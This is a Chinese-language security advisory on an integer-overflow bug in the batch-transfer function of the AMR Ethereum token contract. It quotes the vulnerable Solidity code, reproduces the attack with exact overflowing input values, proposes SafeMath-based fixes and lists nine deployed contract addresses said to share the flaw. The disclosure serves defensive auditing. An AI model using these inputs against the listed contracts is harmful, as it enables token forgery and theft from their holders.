
日前,互聯網爆出AMR合約存在高危安全風險的交易,通過研究發現,AMR合約存在批量轉賬溢出漏洞:當合約實現批量轉賬功能時,容易在計算通證增加量時發生溢出漏洞,BUGX.IO安全團隊經過研究分析發現,同類漏洞仍在以太坊里面部分存在,以下為漏洞分析過程:
「原理」
 /**
     * @dev Function is used to perform a multi-transfer operation. This could play a significant role in the Ammbr Mesh Routing protocol.
     *  
     * Mechanics:
     * Sends tokens from Sender to destinations[0..n] the amount tokens[0..n]. Both arrays
     * must have the same size, and must have a greater-than-zero length. Max array size is 127.
     * 
     * IMPORTANT: ANTIPATTERN
     * This function performs a loop over arrays. Unless executed in a controlled environment,
     * it has the potential of failing due to gas running out. This is not dangerous, yet care
     * must be taken to prevent quality being affected.
     * 
     * @param destinations An array of destinations we would be sending tokens to
     * @param tokens An array of tokens, sent to destinations (index is used for destination->token match)
     */
    function multiTransfer(address[] destinations, uint[] tokens) public returns (bool success){
        // Two variables must match in length, and must contain elements
        // Plus, a maximum of 127 transfers are supported
        assert(destinations.length > 0);
        assert(destinations.length < 128);
        assert(destinations.length == tokens.length);
        // Check total requested balance
        uint8 i = 0;
        uint totalTokensToTransfer = 0;
        for (i = 0; i < destinations.length; i++){
            assert(tokens[i] > 0);
            totalTokensToTransfer += tokens[i];
        }
        // Do we have enough tokens in hand?
        assert (balances[msg.sender] > totalTokensToTransfer);
        // We have enough tokens, execute the transfer
        balances[msg.sender] = balances[msg.sender].sub(totalTokensToTransfer);
        for (i = 0; i < destinations.length; i++){
            // Add the token to the intended destination
            balances[destinations[i]] = balances[destinations[i]].add(tokens[i]);
            // Call the event...
            emit Transfer(msg.sender, destinations[i], tokens[i]);
        }
        return true;
    }
`totalTokensToTransfer += tokens[i];` 這一句溢出,溢出后,totalTokensToTransfer 變小了,從而繞過了`assert (balances[msg.sender] > totalTokensToTransfer);` 的判斷,這樣就能花極少的token , 任意增加目標地址的 token 。
攻擊者的攻擊行為: 
https://etherscan.io/tx/0xd4ee42c454941fccb5d03f6155e288f28cc00473ba927ee4b19ad4e2bfc68b68 

可以看到這兩個 tokens 值都是 uint256 最大值的一半,兩個加起來剛好溢出變為 0。
 
「漏洞復現」
1. 部署AMR 合約
2. 因為需要攻擊者token 數量大于0,所以先使用管理員賬戶給攻擊者地址充 token。
"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c",1
 
 
使用`balanceOf` 可以查看到:
0x14723a09acff6d2a60dcdf7aa4aff308fddc160c有balances為1

 
3. 使用漏洞溢出攻擊
這里需要兩個地址,一個是攻擊者,另一個為其它地址,這里設置 0 地址就行。
執行 multiTransfer 就行。
["0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0x0000000000000000000000000000000000000000"],["57896044618658097711785492504343953926634992332820282019728792003956564819968","57896044618658097711785492504343953926634992332820282019728792003956564819968"]

4. 查看攻擊者余額

可以看到攻擊者余額已經變得非常大。
 
「修復方案」
1. 使用safeMath 即可解決此問題。
2. 以太坊的大部分合約是以transfer 的形式進行轉賬,此方法也可以避免溢出問題。
function multiTransfer(address[] recipients, uint256[] amounts) public {
    require(recipients.length == amounts.length);
    for (uint i = 0; i < recipients.length; i++) {
        transfer(recipients[i], amounts[i]);
    }
}
 
「深入探索」
在對以太坊上做進一步探索的時候,我們發現批量轉賬功能或者批量充值功能的實現主要有以下幾種形式:
1. 合約部署時使用批量充值功能
此功能在構造函數中實現,只有部署的時候能夠使用,所以不可利用。
/// @title Gnosis token contract
/// @author Stefan George -
contract GnosisToken is StandardToken {
    /*
     *  Token meta data
     */
    string constant public name = "Gnosis Token";
    string constant public symbol = "GNO";
    uint8 constant public decimals = 18;
    /*
     *  Public functions
     */
    /// @dev Contract constructor function sets dutch auction contract address and assigns all tokens to dutch auction.
    /// @param dutchAuction Address of dutch auction contract.
    /// @param owners Array of addresses receiving preassigned tokens.
    /// @param tokens Array of preassigned token amounts.
    function GnosisToken(address dutchAuction, address[] owners, uint[] tokens)
        public
    {
        if (dutchAuction == 0)
            // Address should not be null.
            throw;
        totalSupply = 10000000 * 10**18;
        balances[dutchAuction] = 9000000 * 10**18;
        Transfer(0, dutchAuction, balances[dutchAuction]);
        uint assignedTokens = balances[dutchAuction];
        for (uint i=0; i<owners.length; i++) {
            if (owners[i] == 0)
                // Address should not be null.
                throw;
            balances[owners[i]] += tokens[i];
            Transfer(0, owners[i], tokens[i]);
            assignedTokens += tokens[i];
        }
        if (assignedTokens != totalSupply)
            throw;
    }
}
2. 管理者調用批量轉賬功能
function batchTransfer(address[] _to, uint[] _value) checkAccess("currencyOwner) returns (bool) {
        if (_to.length != _value.length) {
            Error(7, tx.origin, msg.sender);
            return false;
        }
        uint totalToSend = 0;
        for (uint8 i = 0; i < _value.length; i++) {
            totalToSend += _value[i];
        }
        ElcoinDb db = _db();
        if (db.getBalance(msg.sender) < totalToSend) {
            Error(8, tx.origin, msg.sender);
            return false;
        }
        db.withdraw(msg.sender, totalToSend, 0, 0);
        for (uint8 j = 0; j < _to.length; j++) {
            db.deposit(_to[j], _value[j], 0, 0);
            Transfer(msg.sender, _to[j], _value[j]);
        }
        return true;
    }
即使有漏洞,但受到管理者權限控制,所以一般不可利用。
3. 公開函數中的批量轉賬功能
function transferMulti(address[] _to, uint256[] _value) public returns (uint256 amount){
        require(_to.length == _value.length);
        uint8 len = uint8(_to.length);
        for(uint8 j; j<len; j++){
            amount += _value[j];
        }
        require(balanceOf[msg.sender] >= amount);
        for(uint8 i; i<len; i++){
            address _toI = _to[i];
            uint256 _valueI = _value[i];
            balanceOf[_toI] += _valueI;
            balanceOf[msg.sender] -= _valueI;
            Transfer(msg.sender, _toI, _valueI);
        }
    }
我們看到了不少這種形式的寫法,通過`amount += _value[j];` 的增加,溢出后繞過了`require(balanceOf[msg.sender] >= amount);` 的檢測。
「漏洞影響范圍」
研究此漏洞原理后,我們使用自研的審計系統"以太坊沖擊波",對以太坊上的合約進行整體監測,發現了以下合約均存在此漏洞。
 
| 合約名稱 | 地址 | 
| AMMBR (AMR) | 0x96c833e43488c986676e9f6b3b8781812629bbb5 | 
| Beauty Coin (BEAUTY) | 0x623afe103fb8d189b56311e4ce9956ec0989b412 | 
| Beauty Coin (Beauty) | 0xb5a1df09ccaa8197d54839c2c9175ec32b560151 | 
| Car Token (CRT) | 0xdf4b22695eeb4a7a1cf9a42162285ce782b8427a | 
| KoreaShow | 0x330bebabc9a2a4136e3d1cb38ca521f5a95aec2e | 
| Pasadena Token (PSDT) | 0x80248bb8bd26f449dea5b4d01faf936075b7111d | 
| Rocket Coin (XRC) | 0x6fc9c554c2363805673f18b3a2b1912cce8bfb8a | 
| Sinphonim (SPM) | 0x715423a818f1f9a85c66d81d2809e0a4dadf07f3 | 
| Social Chain (SCA) | 0xb75a5e36cc668bc8fe468e8f272cd4a0fd0fd773 |